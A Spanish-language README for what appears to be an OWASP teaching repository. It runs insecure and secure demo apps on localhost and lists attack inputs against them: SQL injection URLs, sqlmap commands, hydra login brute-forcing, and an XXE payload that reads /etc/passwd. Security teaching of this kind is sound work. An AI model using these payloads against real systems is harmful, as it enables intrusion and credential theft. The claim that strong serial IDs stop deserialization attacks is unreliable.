Repositorio de demos OWASP.
Para correr: click derecho en proyecto run as -> maven build en el campo goals ingresar spring-boot:run luego dar clic en run.
Spring boot
- Pruebas postman:
http://localhost:8081/owasp-a1/inseguro/usuario/jdbc/' or '1' like '1
http://localhost:8081/owasp-a1/inseguro/usuario/jpa/' or '1' like '1
- Prubas sqlmap
./sqlmap.py -u "http://localhost:8081/inseguro/usuario/jpa/admin*" --batch --random-agent -v --risk=3 --level=4
./sqlmap.py -u "http://localhost:8081/inseguro/usuario/jdbc/admin*" --batch --random-agent -v --risk=3 --level=4
- Pruebas postman
localhost:8081/owasp-a1/seguro/usuario/jpa/' or '1' like '1
localhost:8081/owasp-a1/seguro/usuario/jdbc/' or '1' like '1
- Pruebas sqlmap
./sqlmap.py -u "http://localhost:8081/seguro/usuario/jpa/admin*" --batch --random-agent -v --risk=3 --level=4
./sqlmap.py -u "http://localhost:8081/seguro/usuario/jdbc/admin*" --batch --random-agent -v --risk=3 --level=4
Spring boot Usuario y password admin
http://localhost:8082
hydra -s 8082 \
-L materiales/username.txt \
-P materiales/password.txt \
-o ok-out.txt \
localhost http-form-post "/login:username=^USER^&password=^PASS^:S=seguro" \
-t 20 -w 40 -vV -d -I
https://localhost:8083
hydra -s 8083 \
-L materiales/username.txt \
-P materiales/password.txt \
-o ok-out.txt \
localhost https-form-post "/login:username=^USER^&password=^PASS^:S=seguro" \
-t 20 -w 40 -vV -d -I
Java 6 - Jetty server
Para correr: click derecho en proyecto run as -> maven build en el campo goals ingresar jetty:run luego dar clic en run.
URL Comun put - get - delete
http://localhost:8080/rest/libros
PUT crea nuevo libro
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE bar [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<libro>
<autor>&xxe;</autor>
<titulo>Metasploit Unleashed</titulo>
</libro>
GET traer libros
GET traer un libro
http://localhost:8080/rest/libros/{ID}
DELETE elimina libros
http://localhost:8080/rest/libros
Spring boot
URL Comun post - get
http://localhost:8084/seguro/libro
POST crea nuevo libro
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE bar [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<libro>
<autor>&xxe;</autor>
<titulo>Metasploit Unleashed</titulo>
</libro>
GET traer libros
Spring boot
http://localhost:8085
** Clase MainControlador.java **
@GetMapping("/seguro/editar/{id}")
@PreAuthorize("hasPermission(#id, 'read')")
public String irActualizar(@PathVariable("id") final long id, final Model model) {
...
}** Clase logica UsuarioOwnerSecure.java **
Spring boot Se sugiere correr en firefox.
http://localhost:8086
Ejemplo simplemente para comprender el proceso de serializacion y deserializacion.
La forma de atacar es conociendo las clases que se quieren serializar. De caso contrario no podran vulnerar, para eviatar esto se debe usar clases que implementan Serializable con serialID robustos.
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent